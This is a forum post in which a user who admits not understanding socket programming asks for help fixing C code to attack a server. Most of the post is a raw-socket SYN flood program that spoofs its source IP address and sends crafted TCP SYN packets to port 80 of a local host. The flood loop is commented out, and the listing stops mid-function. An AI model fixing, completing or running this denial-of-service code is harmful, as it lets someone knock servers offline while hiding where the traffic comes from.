help about SYN flood

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C

can anyone please help me this problem?

suppose I have 2 hosts : host1(192.168.1.2) and host 2(192.168.1.5) also a DNS server with name :luxubu.com
I have a code to attack server but i dont understand about socket programming so can anyone help me to fix the code i given following

thank advance for help

/*
Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h> //Provides declarations for ip header

typedef struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
//char tcp[28];
struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;

sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}

sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;

return(answer);
}

int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;

sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("192.168.1.2");

memset (datagram, 0, 4096); /* zero out the buffer */

//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ("192.168.1.5"); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;

iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum

psh.source_address = inet_addr("192.168.1.2");
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);

memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

//IP_HDRINCL to tell the kernel that headers are included in the packet
{
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!n");
}

//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */

printf ("errorn");
//Data send successfully
else
printf (".");